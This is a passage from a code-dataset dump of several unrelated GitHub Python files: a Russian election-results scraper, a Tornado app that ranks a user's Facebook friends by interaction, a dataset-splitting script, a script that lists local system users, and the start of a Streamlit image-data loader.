"usage_type": "call"}, {"api_name": "ROOT.RooArgList", "line_number": 80, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 81, "usage_type": "call"}, {"api_name": "ROOT.RooArgList", "line_number": 84, "usage_type": "call"}, {"api_name": "ROOT.RooDataHist", "line_number": 85, "usage_type": "call"}, {"api_name": "ROOT.TCanvas", "line_number": 89, "usage_type": "call"}]} {"seq_id": "72059558971", "text": "from bs4 import BeautifulSoup\nimport urllib3\nfrom urllib.error import URLError\nfrom urllib.parse import urlparse, parse_qs\n\nimport socket\n\nurllib3.disable_warnings()\n\nclass ParseException(Exception):\n pass\n\ndef get_soup(url):\n try:\n urllib3.disable_warnings()\n http = urllib3.PoolManager()\n html = http.request('GET', url).data\n except socket.timeout:\n raise ParseException('Socket timed out while getting URL: {}'.format(url))\n except (socket.timeout, TimeoutError):\n raise ParseException('Socket timed out while getting URL: {}'.format(url))\n\n return BeautifulSoup(html.decode(\"cp1251\"), 'html.parser')\n\ndef get_url_param(url, name):\n return parse_qs(urlparse(url).query)[name][0]\n\nclass Elections:\n base_url = \"http://www.vybory.izbirkom.ru\"\n\n def __init__(self, year):\n self._url = self._get_gas_url_by_year(year)\n\n def _get_gas_url_by_year(self, year):\n if year not in self._vrn_ids:\n return None\n\n tail_url_part = \"/region/izbirkom?action=show&global=1&vrn={}®ion=0&prver=0&pronetvd=null\".format(self._vrn_ids[year])\n return self.base_url + tail_url_part\n\n\n def get_candidates(self):\n return Candidates(self._url)\n \n def get_final_results(self):\n return FinalResults(self._url)\n\n def get_url(self):\n return self._url\n\n\nclass PresidentElections(Elections):\n _vrn_ids= {\n 2004: 1001000882950,\n 2008: 100100022176412,\n 2012: 100100031793505,\n 2018: 100100084849062\n }\n\n def get_candidates(self):\n return PresidentCandidates(self._url)\n \n def get_final_results(self):\n return PresidentFinalResults(self._url)\n\n\nclass DumaElections(Elections):\n _vrn_ids= {\n # 2003: 100100095619,\n # Другой формат, пока не реализовано\n 2007: 100100021960181,\n 2011: 100100028713299,\n 2016: 100100067795849\n }\n\n def get_candidates(self):\n # Not implemented yet\n return None\n \n def get_final_results(self):\n return DumaFinalResults(self._url)\n\n\nclass Candidates:\n first_url_text = \"\"\n\n def __init__(self, elections_url):\n self._urls = self._get_all_candidates_pages_urls(self._get_candidates_first_url(elections_url))\n\n def _get_candidates_first_url(self, elections_url):\n soup = get_soup(elections_url)\n a = soup.find('a', href=True, text=self.first_url_text)\n return a['href']\n\n def _get_candidates_by_url(self, url):\n soup = get_soup(url)\n tbody = soup.find(id=\"table-1\").find(\"tbody\")\n t = tbody.find_all('a')\n return list(map(lambda x: x.string, t))\n\n def _get_all_candidates_pages_urls(self, first_url):\n soup = get_soup(first_url)\n td = soup.find_all('table')[1].find_all(\"td\")[-1]\n return [first_url] + list(map(lambda x: x['href'], td.find_all('a')))\n\n def get_all_candidates(self):\n candidates = []\n for u in self._urls:\n candidates.extend(self._get_candidates_by_url(u))\n return candidates\n\nclass PresidentCandidates(Candidates):\n first_url_text = \"Сведения о кандидатах на должность Президента Российской Федерации\"\n\nclass FinalResults:\n _sum_url_texts = []\n _preliminary_sum_url_texts = []\n\n def __init__(self, elections_url):\n self._url_parts = {}\n self._is_preliminary = False\n self._sum_url = self._get_sum_url(elections_url)\n self._params_list = ['listed_voters', 'got_ballots_by_uik', \n 'issued_ballots_early_voters', 'issued_ballots_elections_day_inside', \n 'issued_ballots_elections_day_outside', 'canceled_ballots',\n 'ballots_in_portable_boxes', 'ballots_in_stationary_boxes', 'valid_ballots', 'invalid_ballots', 'candidates']\n self._params = self._get_params()\n\n def _find_one_of_a(self, soup, texts):\n for t in texts:\n a = soup.find('a', href=True, text=t)\n if a:\n return a\n return None\n\n def _get_sum_url(self, elections_url):\n soup = get_soup(elections_url)\n a = self._find_one_of_a(soup, self._sum_url_texts)\n if a:\n return a['href']\n else:\n a = self._find_one_of_a(soup, self._preliminary_sum_url_texts)\n if a:\n self._is_preliminary = True\n return a['href']\n return None\n \n def is_preliminary(self):\n return self._is_preliminary\n \n def _get_row_data(self, row):\n return list(map(lambda td: int(td.text), row.find_all(\"td\")))\n\n def _add_candiadates_data(self, regions, trs):\n row_correction = len(trs) - self._trs_count\n for index, region in enumerate(regions):\n regions[index]['candidates'] = {}\n for candidate_row_number, candidate_name in self._params['candidates'].items():\n candidate_row_data = []\n for td in trs[candidate_row_number + row_correction].find_all(\"td\"):\n candidate_data = {}\n b = td.find(\"b\")\n candidate_data['votes'] = int(b.text)\n candidate_data['percents'] = float(td.find(\"br\").nextSibling.strip().strip('%'))\n \n candidate_row_data.append(candidate_data)\n for index, region in enumerate(regions):\n regions[index]['candidates'][candidate_name] = candidate_row_data[index]\n\n return regions\n\n def _add_params_data(self, regions, params_list, soup):\n table = soup.find(\"table\", {\"style\" : \"width:100%;overflow:scroll\"})\n trs = table.find_all('tr')\n for param in params_list:\n if param == 'candidates':\n regions = self._add_candiadates_data(regions, trs)\n else:\n row_data = self._get_row_data(trs[self._params[param]])\n for index, region in enumerate(regions):\n regions[index][param] = row_data[index]\n return regions\n\n def _get_area_data(self, url, is_tik_url=False):\n if is_tik_url:\n url = self._get_tik_real_url(url) \n soup = get_soup(url)\n table = soup.find(\"table\", {\"style\" : \"width:100%;overflow:scroll\"})\n if table and table.text.strip() != \"\":\n trs = table.find_all('tr')\n tds = trs[0].find_all('td')\n area_data = []\n for td in tds:\n area_item = {}\n area_item['name'] = td.text\n a = td.find('a')\n if a:\n area_item['url'] = a['href']\n else:\n if not is_tik_url:\n area_item = self._get_left_table_data(url, True)\n area_item['url'] = url\n return [area_item, ]\n area_data.append(area_item)\n area_data = self._add_params_data(area_data, self._params_list, soup)\n return area_data\n else:\n area_item = self._get_left_table_data(url, True)\n area_item['url'] = url\n return [area_item, ]\n\n def _get_tik_real_url(self, first_tik_url):\n soup = get_soup(first_tik_url)\n a_tag = soup.find('a', href=True, text=\"сайт избирательной комиссии субъекта Российской Федерации\")\n if a_tag:\n href = a_tag.get('href')\n return href\n\n def _get_left_table_data(self, url, get_name = False):\n soup = get_soup(url)\n table = soup.find(\"td\", {'align': 'left', 'style': 'height:100%;', 'valign': 'top'}).find(\"table\")\n res = {}\n trs = table.find_all(\"tr\")\n for param in self._params_list:\n if param == \"candidates\":\n res['candidates'] = {}\n for candidate_row_number, candidate_name in self._params['candidates'].items():\n candidate_data = {}\n td = trs[candidate_row_number].find_all(\"td\")[2]\n b = td.find(\"b\")\n candidate_data['votes'] = int(b.text)\n candidate_data['percents'] = float(td.find(\"br\").nextSibling.strip().strip('%'))\n res['candidates'][candidate_name] = candidate_data\n else:\n res[param] = int(trs[self._params[param]].find_all(\"td\")[2].text)\n if get_name:\n name_tr = soup.find(\"tr\", {\"bgcolor\": \"eeeeee\"})\n res['name'] = name_tr.find_all(\"td\")[1].text\n return res\n \n def _append_tik_data(self, data_set, tik_index, region_id, tik_id):\n data_set[tik_index]['uiks'] = self._get_tik_data(region_id, tik_id)\n\n def get_summary(self):\n return self._get_left_table_data(self._sum_url)\n\n def get_regions(self):\n return self._get_area_data(self._sum_url)\n\n def get_tiks_by_region_url(self, region_url):\n return self._get_area_data(region_url)\n \n def get_uiks_by_tik_url(self, tik_url):\n return self._get_area_data(tik_url, True)\n\n def _get_params(self):\n soup = get_soup(self._sum_url)\n tbl = soup.find(\"td\", {'align': 'left', 'style': 'height:100%;', 'valign': 'top'}).find(\"table\")\n counter = 0\n params = {}\n params['candidates'] = {}\n candidate_flag = False\n trs = tbl.find_all(\"tr\")\n self._trs_count = len(trs)\n for tr in trs:\n tds = tr.find_all(\"td\")\n number_td = tds[0]\n caption_td = tds[1]\n if caption_td:\n caption = caption_td.text.strip()\n if candidate_flag:\n params['candidates'][counter] = caption\n if caption in ('Число избирателей, включенных в список избирателей',\n 'Число избирателей, включенных в списки избирателей',\n 'Число избирателей, внесенных в список',\n 'Число избирателей, внесенных в списки',\n 'Число избирателей, внесенных в список избирателей на момент окончания голосования',\n 'Число избирателей, внесенных в списки избирателей',\n 'Число избирателей, внесенных в список избирателей'):\n params['listed_voters'] = counter\n if caption in ('Число избирательных бюллетеней, полученных участковой избирательной комиссией',\n 'Число избирательных бюллетеней, полученных участковыми избирательными комиссиями',\n 'Число полученных избирательных бюллетеней',\n 'Число бюллетеней, полученных участковыми комиссиями'):\n params['got_ballots_by_uik'] = counter\n if caption in ('Число избирательных бюллетеней, выданных избирателям, проголосовавшим досрочно',\n 'Число избирательных бюллетеней, выданных досрочно',\n 'Число избирательных бюллетеней, выданных досрочно',\n 'Число бюллетеней, выданных избирателям, проголосовавшим досрочно',):\n params['issued_ballots_early_voters'] = counter\n if caption in ('Число избирательных бюллетеней, выданных в помещении для голосования в день голосования',\n 'Число избирательных бюллетеней, выданных в помещениях для голосования в день голосования',\n 'Число избирательных бюллетеней, выданных в день голосования',\n 'Число бюллетеней, выданных избирателям на избирательном участке',\n 'Число избирательных бюллетеней, выданных избирателям в помещении для голосования',\n 'Число избирательных бюллетеней, выданных избирателям в помещениях для голосования'):\n params['issued_ballots_elections_day_inside'] = counter\n if caption in ('Число избирательных бюллетеней, выданных вне помещения для голосования в день голосования',\n 'Число избирательных бюллетеней, выданных вне помещений для голосования в день голосования',\n 'Число избирательных бюллетеней, выданных вне помещения',\n 'Число бюллетеней, выданных избирателям, проголосовавшим вне помещения для голосования',\n 'Число избирательных бюллетеней, выданных избирателям вне помещения для голосования',\n 'Число избирательных бюллетеней, выданных избирателям вне помещений для голосования'):\n params['issued_ballots_elections_day_outside'] = counter\n if caption in ['Число погашенных избирательных бюллетеней',\n 'Число погашенных бюллетеней']:\n params['canceled_ballots'] = counter\n if caption in ('Число избирательных бюллетеней в переносных ящиках для голосования',\n 'Число избирательных бюллетеней в переносных ящиках',\n 'Число бюллетеней в переносных ящиках для голосования',\n 'Число избирательных бюллетеней, содержащихся в переносных ящиках для голосования'):\n params['ballots_in_portable_boxes'] = counter\n if caption in ('Число бюллетеней в стационарных ящиках для голосования',\n 'Число бюллетеней в стационарных ящиках для голосования',\n 'Число избирательных бюллетеней, содержащихся в стационарных ящиках для голосования',\n 'Число избирательных бюллетеней в стационарных ящиках для голосования'):\n params['ballots_in_stationary_boxes'] = counter\n if caption in ('Число недействительных избирательных бюллетеней',\n 'Число недействительных бюллетеней'):\n params['invalid_ballots'] = counter\n if caption in ('Число действительных избирательных бюллетеней',\n 'Число действительных бюллетеней'):\n params['valid_ballots'] = counter\n if tr.text.strip() in (\"\", \"Число голосов избирателей, поданных за каждый список\"):\n candidate_flag = True\n counter += 1\n return params\n \n def get_url(self):\n return self._sum_url\n\nclass PresidentFinalResults(FinalResults):\n _sum_url_texts = (\"Сводная таблица результатов выборов\", \"Сводная таблица о результатах выборов\")\n _preliminary_sum_url_texts = (\"Сводная таблица предварительных итогов голосования\", )\n\nclass DumaFinalResults(FinalResults):\n _sum_url_texts = (\"Сводная таблица итогов голосования по федеральному округу\",\n \"Сводная таблица результатов выборов\",\n \"Сводная таблица результатов выборов по федеральному избирательному округу\")\n _preliminary_sum_url_texts = (\"Сводная таблица предварительных итогов голосования\", )\n", "repo_name": "alateas/pyvybory", "sub_path": "pyvybory/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 17435, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "urllib3.disable_warnings", "line_number": 8, "usage_type": "call"}, {"api_name": "urllib3.disable_warnings", "line_number": 15, "usage_type": "call"}, {"api_name": "urllib3.PoolManager", "line_number": 16, "usage_type": "call"}, {"api_name": "socket.timeout", "line_number": 18, "usage_type": "attribute"}, {"api_name": "socket.timeout", "line_number": 20, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 23, "usage_type": "call"}, {"api_name": "urllib.parse.parse_qs", "line_number": 26, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 26, "usage_type": "call"}]} {"seq_id": "42427139282", "text": "import facebook\r\n\r\nimport sqlalchemy\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\nfrom sqlalchemy.orm import scoped_session, sessionmaker\r\nfrom sqlalchemy.orm.exc import NoResultFound\r\nfrom sqlalchemy import (\r\n Column,\r\n Integer,\r\n String,\r\n Float,\r\n Date,\r\n TIMESTAMP\r\n )\r\nimport tornado.web\r\nimport datetime\r\nfrom ast import literal_eval as le\r\n\r\nfacebook_app_id = \"***REMOVED***\"\r\nfacebook_app_secret = \"***REMOVED***\"\r\n\r\nfbBase = declarative_base()\r\nfbengine_url = 'mysql+pymysql://root:***REMOVED***@localhost/fb?charset=utf8'\r\n\r\nclass fb_user(fbBase):\r\n __tablename__ = \"fb_users\"\r\n id = Column('id', String, primary_key=True)\r\n name = Column(\"name\", String)\r\n profile_url = Column(\"profile_url\", String)\r\n email = Column(\"email\", String)\r\n access_token = Column(\"access_token\", String)\r\n birthday = Column(\"birthday\", Date)\r\n updated = Column(\"updated\", TIMESTAMP)\r\n frienddata = Column(\"frienddata\", String)\r\n\r\n def getDetails(self):\r\n return {\"id\": self.id, \"name\": self.name, \"profile_url\": self.profile_url, \"email\": self.email, \"access_token\": self.access_token, \"birthday\": self.birthday, \"updated\": self.updated, \"frienddata\": self.frienddata}\r\n\r\nclass FBBaseHandler(tornado.web.RequestHandler):\r\n \"\"\"Implements authentication via the Facebook JavaScript SDK cookie.\"\"\"\r\n def get_current_user(self):\r\n cookies = dict((n, self.cookies[n].value) for n in self.cookies.keys())\r\n cookie = facebook.get_user_from_cookie(\r\n cookies, facebook_app_id, facebook_app_secret)\r\n if not cookie:\r\n return None\r\n\r\n fbengine = sqlalchemy.create_engine(fbengine_url)\r\n fbsession = scoped_session(sessionmaker(bind=fbengine))\r\n\r\n try:\r\n user = fbsession.query(fb_user).filter(fb_user.id == cookie[\"uid\"]).one()\r\n except NoResultFound:\r\n user = None\r\n \r\n if not user:\r\n # TODO: Make this fetch async rather than blocking\r\n graph = facebook.GraphAPI(cookie[\"access_token\"])\r\n profile = graph.get_object(\"me?fields=email,link,birthday,name\")\r\n newUser = fb_user()\r\n newUser.id = profile[\"id\"]\r\n newUser.name = profile[\"name\"]\r\n newUser.profile_url = profile[\"link\"]\r\n newUser.access_token = cookie[\"access_token\"]\r\n newUser.email = profile[\"email\"]\r\n if \"birthday\" in profile:\r\n newUser.birthday = datetime.datetime.strptime(profile[\"birthday\"], \"%m/%d/%Y\").date()\r\n fbsession.add(newUser)\r\n fbsession.commit()\r\n return newUser.getDetails()\r\n elif user.access_token != cookie[\"access_token\"]:\r\n user.access_token = cookie[\"access_token\"]\r\n fbsession.commit()\r\n return user.getDetails()\r\n \r\n fbsession.remove()\r\n\r\n\r\nclass VanvaasHandler(FBBaseHandler):\r\n def get(self):\r\n thisuser = self.get_current_user()\r\n reactionsresult = {}\r\n commentsresult = {}\r\n lookup = {}\r\n if thisuser:\r\n graph = facebook.GraphAPI(access_token=thisuser[\"access_token\"], version=\"2.7\")\r\n posts = graph.get_object(\"me/posts?fields=object_id,message,story,comments.limit(999),reactions.limit(999)&limit=100\")\r\n reactions = {}\r\n comments = {}\r\n if \"data\" in posts:\r\n for post in posts[\"data\"]:\r\n if \"reactions\" in post:\r\n for reaction in post[\"reactions\"][\"data\"]:\r\n lookup[reaction[\"id\"]] = reaction[\"name\"]\r\n if reaction[\"id\"] in reactions:\r\n reactions[reaction[\"id\"]] += 1\r\n else:\r\n reactions[reaction[\"id\"]] = 1\r\n if \"comments\" in post:\r\n for comment in post[\"comments\"][\"data\"]:\r\n lookup[comment[\"from\"][\"id\"]] = comment[\"from\"][\"name\"]\r\n if comment[\"from\"][\"id\"] in comments:\r\n comments[comment[\"from\"][\"id\"]] += 1\r\n else:\r\n comments[comment[\"from\"][\"id\"]] = 1\r\n\r\n commentcharacters = [{\"character\": \"Sugriv\", \"image\": \"v4.jpg\", \"description\": \"A great friend and always ready with their opinion\", \"sandwich\": \"Don Corleone Cajun Chicken Sandwich\"},{\"character\": \"Jambavan\", \"image\": \"v5.jpg\", \"description\": \"You can always trust their advice\", \"sandwich\": \"Tunaah Sandwich\"},{\"character\": \"Vibhishan\", \"image\": \"v6.jpg\", \"description\": \"Always available when you need their opinion\", \"sandwich\": \"Root for Me Sandwich\"}]\r\n reactioncharacters = [{\"character\": \"Hanuman\", \"image\": \"v3.jpg\", \"description\": \"Fiercely loyal and happy to help\", \"sandwich\": \"Hummus & Peas Patty Sandwich\"},{\"character\": \"Laxman\", \"image\": \"v2.jpg\", \"description\": \"Viciously opinionated and quick to respond\", \"sandwich\": \"Great Rounds of Fire Sandwich\"},{\"character\": \"Angad\", \"image\": \"v7.jpg\", \"description\": \"A bit hot headed but a true friend\", \"sandwich\": \"BBQ Chicken Sandwich\"}]\r\n\r\n commentslist = sorted([{\"id\": x, \"count\": comments[x], \"name\": lookup[x]} for x in comments], key=lambda x: -x[\"count\"])\r\n \r\n commentslookup = [x[\"id\"] for x in commentsresult]\r\n counter = 0\r\n commentsresult = []\r\n for comment in commentslist:\r\n if comment[\"id\"] != thisuser[\"id\"]:\r\n comment[\"character\"] = commentcharacters[counter][\"character\"]\r\n comment[\"image\"] = commentcharacters[counter][\"image\"]\r\n comment[\"description\"] = commentcharacters[counter][\"description\"]\r\n comment[\"sandwich\"] = commentcharacters[counter][\"sandwich\"]\r\n commentsresult.append(comment)\r\n counter += 1\r\n if counter == 3:\r\n break\r\n\r\n reactionslist = sorted([{\"id\": x, \"count\": reactions[x], \"name\": lookup[x]} for x in reactions], key=lambda x: -x[\"count\"])\r\n reactionsresult = []\r\n counter = 0\r\n for reaction in reactionslist:\r\n if reaction[\"id\"] not in commentslookup and reaction[\"id\"] != thisuser[\"id\"]:\r\n reaction[\"character\"] = reactioncharacters[counter][\"character\"]\r\n reaction[\"image\"] = reactioncharacters[counter][\"image\"]\r\n reaction[\"description\"] = reactioncharacters[counter][\"description\"]\r\n reaction[\"sandwich\"] = reactioncharacters[counter][\"sandwich\"]\r\n reactionsresult.append(reaction)\r\n counter += 1\r\n if counter == 3:\r\n break\r\n\r\n try:\r\n resultdata = le(thisuser[\"frienddata\"])\r\n except (ValueError, SyntaxError) as e:\r\n fbengine = sqlalchemy.create_engine(fbengine_url)\r\n fbsession = scoped_session(sessionmaker(bind=fbengine))\r\n #thisuser[\"frienddata\"] = str({\"reactionsresult\": reactionsresult, \"commentsresult\": commentsresult})\r\n try:\r\n thisdbuser = fbsession.query(fb_user).filter(fb_user.id == thisuser[\"id\"]).one()\r\n thisdbuser.frienddata = str({\"reactionsresult\": reactionsresult, \"commentsresult\": commentsresult})\r\n fbsession.commit()\r\n except NoResultFound:\r\n thisdbuser = None \r\n fbsession.remove()\r\n else:\r\n reactionsresult=resultdata[\"reactionsresult\"]\r\n commentsresult=resultdata[\"commentsresult\"]\r\n\r\n friendlookup = [{\"id\": x, \"name\": lookup[x]} for x in lookup]\r\n self.render(\"templates/fbexample.html\", facebook_app_id=facebook_app_id, reactionsresult=reactionsresult, commentsresult=commentsresult, thisuser=thisuser, type=\"Your\", friendlookup=friendlookup, lookup=lookup)\r\n\r\nclass VanvaasViewHandler(FBBaseHandler):\r\n def get(self, id):\r\n fbengine = sqlalchemy.create_engine(fbengine_url)\r\n fbsession = scoped_session(sessionmaker(bind=fbengine))\r\n try:\r\n thisuser = fbsession.query(fb_user).filter(fb_user.id == id).one()\r\n except NoResultFound:\r\n self.write(\"Page not found - Please check the id given\")\r\n else:\r\n resultdata = le(thisuser.frienddata)\r\n self.render(\"templates/fbexample.html\", facebook_app_id=facebook_app_id, reactionsresult=resultdata[\"reactionsresult\"], commentsresult=resultdata[\"commentsresult\"], thisuser=thisuser.getDetails(), type=\"Their\", friendlookup = [], lookup={})\r\n\r\n fbsession.remove()\r\n\r\nclass UpdateVanvaasHandler(FBBaseHandler):\r\n def get(self):\r\n change = self.get_argument(\"change\")\r\n id = self.get_argument(\"id\")\r\n name = self.get_argument(\"name\")\r\n selfid = self.get_argument(\"selfid\")\r\n fbengine = sqlalchemy.create_engine(fbengine_url)\r\n fbsession = scoped_session(sessionmaker(bind=fbengine))\r\n try:\r\n thisdbuser = fbsession.query(fb_user).filter(fb_user.id == selfid).one()\r\n except NoResultFound:\r\n print (\"user not found\")\r\n self.write('{\"status\": \"error\"}')\r\n else:\r\n try:\r\n resultdata = le(thisdbuser.frienddata)\r\n reactionsresult=resultdata[\"reactionsresult\"]\r\n commentsresult=resultdata[\"commentsresult\"]\r\n except (ValueError, SyntaxError) as e:\r\n print (\"data could not be parse\")\r\n self.write('{\"status\": \"error\"}')\r\n else:\r\n if \"reaction\" in change:\r\n index = int(change.replace(\"reaction\", \"\"))\r\n reactionsresult[index][\"name\"] = name\r\n reactionsresult[index][\"id\"] = id\r\n thisdbuser.frienddata = str({\"reactionsresult\": reactionsresult, \"commentsresult\": commentsresult})\r\n fbsession.commit()\r\n self.write('{\"status\": \"success\"}')\r\n elif \"comment\" in change:\r\n index = int(change.replace(\"comment\", \"\"))\r\n commentsresult[index][\"name\"] = name\r\n commentsresult[index][\"id\"] = id\r\n thisdbuser.frienddata = str({\"reactionsresult\": reactionsresult, \"commentsresult\": commentsresult})\r\n fbsession.commit()\r\n self.write('{\"status\": \"success\"}')\r\n else:\r\n print (\"something wrong with input\")\r\n self.write('{\"status\": \"error\"}')", "repo_name": "naresh364/twigly-analytics", "sub_path": "fb.py", "file_name": "fb.py", "file_ext": "py", "file_size_in_byte": 10839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 27, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 28, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 29, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 30, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 31, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 32, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlalchemy.TIMESTAMP", "line_number": 33, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 34, "usage_type": "argument"}, {"api_name": "tornado.web.web", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 39, "usage_type": "name"}, {"api_name": "facebook.get_user_from_cookie", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.exc.NoResultFound", "line_number": 53, "usage_type": "name"}, {"api_name": "facebook.GraphAPI", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 67, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 67, "usage_type": "attribute"}, {"api_name": "facebook.GraphAPI", "line_number": 86, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 141, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 143, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 144, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 144, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.exc.NoResultFound", "line_number": 150, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 162, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 163, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 163, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.exc.NoResultFound", "line_number": 166, "usage_type": "name"}, {"api_name": "ast.literal_eval", "line_number": 169, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 180, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 181, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 181, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.exc.NoResultFound", "line_number": 184, "usage_type": "name"}, {"api_name": "ast.literal_eval", "line_number": 189, "usage_type": "call"}]} {"seq_id": "31358776644", "text": "# -*- coding: utf-8 -*-\n# @Time : 2021/5/18 9:36\n# @Author : JJun\n# @Site : \n# @File : standardfile.py\n# @Software: PyCharm\n\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\n\n# dataset = 'junheng'\n# dataset_file = f'../data/origin/{dataset}3.xlsx'\n\nfrom config import CONFIG\ncfg = CONFIG()\ndataset = cfg.dataset\n\ndataset_file = f'../data/origin/buyi.xlsx'\n\ndf = pd.read_excel(dataset_file, names=['name', 'labels', 'item'], dtype=str)\n\ndf = df[['name', 'labels', 'item']]\n# print(df)\n\nindex_split = len(df) * 0.9 - 1\n\n# print(df[:10])\n\nX = np.arange(len(df.index))\ny = df['labels'].values.tolist()\n\n# X_train: Training set index, X_test: Test set index, y_train: Training set label, y_test: Test set label\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=1, stratify=y)\n\n# print(df)\ndata = df.values.tolist()\n\n# Real_train: Real training set index, X_test: Validation set index, la_train: Real training set label, la_val: Validation set label\nReal_train, Real_val, la_train, la_val = train_test_split(X_train, y_train, test_size=0.1, random_state=1, stratify=y_train)\n\ntrain_data = []\ntest_data = []\n\n# train：Real training set + Validation set index\ntrain = np.append(Real_train, Real_val)\n\nfor index in train:\n train_data.append(data[index])\n\nfor index in X_test:\n test_data.append(data[index])\n\nprint(\"The first 10 formulae：\\n\", df[:10])\n# print(train_data[:5])\n# print(test_data[-5:])\n\ntrain_data.extend([x for x in test_data])\n# print(len(train_data))\n\ndf = pd.DataFrame(train_data, columns=['name', 'labels', 'item'])\n\nwith open(f'../data/corpus/{dataset}.txt', 'w', encoding='utf8') as f:\n for line in df.item:\n f.write(''.join(line)+'\\n')\n\nwith open(f'../data/corpus/{dataset}.clean.txt', 'w', encoding='utf8') as f:\n for line in df.item:\n f.write(''.join(line)+'\\n')\n\n\nwith open(f'../data/{dataset}.txt', 'w', encoding='utf8') as f:\n for index, row in df.iterrows():\n category = 'train' if index < index_split else 'test'\n # single lable\n # f.write(f'{index}\\t{category}\\t{row[0].split()[sublabel]}\\n')\n # multi_label\n name = '\\t'.join(row[0].split())\n labels = '\\t'.join(row[1].split())\n # num = '\\t'.join(row[3].split())\n f.write(f\"{name}\\t{category}\\t{labels}\\n\")\n\n", "repo_name": "JJun0718/HPE-GCN", "sub_path": "Data_Process/standardfile.py", "file_name": "standardfile.py", "file_ext": "py", "file_size_in_byte": 2347, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "config.CONFIG", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 34, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 61, "usage_type": "call"}]} {"seq_id": "32241134170", "text": "\nimport os\nimport pwd\n\ndef list_users():\n users = pwd.getpwall()\n for user in users:\n print(f'Username: {user.pw_name}, User ID: {user.pw_uid}, Group ID: {user.pw_gid}, Home: {user.pw_dir}')\n\nif __name__ == \"__main__\":\n list_users()\n", "repo_name": "geeknik/tiny-python-scripts", "sub_path": "admin/list_users.py", "file_name": "list_users.py", "file_ext": "py", "file_size_in_byte": 249, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pwd.getpwall", "line_number": 6, "usage_type": "call"}]} {"seq_id": "71133258491", "text": "# import glob\nimport os\nimport numpy as np\nimport pandas as pd\nimport streamlit as st\n\nfrom streamlit_pandas_profiling import st_profile_report\nfrom pandas_profiling import ProfileReport\n# from skimage import img_as_float\n# from skimage.io import imread, imsave\n# from skimage.transform import resize\n\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\nnp.warnings.filterwarnings('ignore', category=np.VisibleDeprecationWarning)\n\n\nclass VehicleDataset():\n def __init__(self, args):\n data_train = []\n\n for category in sorted(os.listdir(args.train)):\n for file in sorted(os.listdir(os.path.join(args.train, category))):\n data_train.append((category, os.path.join(args.train, category, file)))\n\n train_df = pd.DataFrame(data_train, columns=['class', 'file_path']).sample(frac=1.0)\n st.dataframe(train_df.head())\n profile = ProfileReport(train_df)\n if st.button(\"Generate Report\"):\n st_profile_report(profile)\n\n # Data Generator for the train data\n data_generator = ImageDataGenerator(rescale=1. / 255,\n validation_split=0.2,\n horizontal_flip=True,\n rotation_range=10,\n width_shift_range=.1,\n height_shift_range=.1)\n # training data\n self.train_generator = 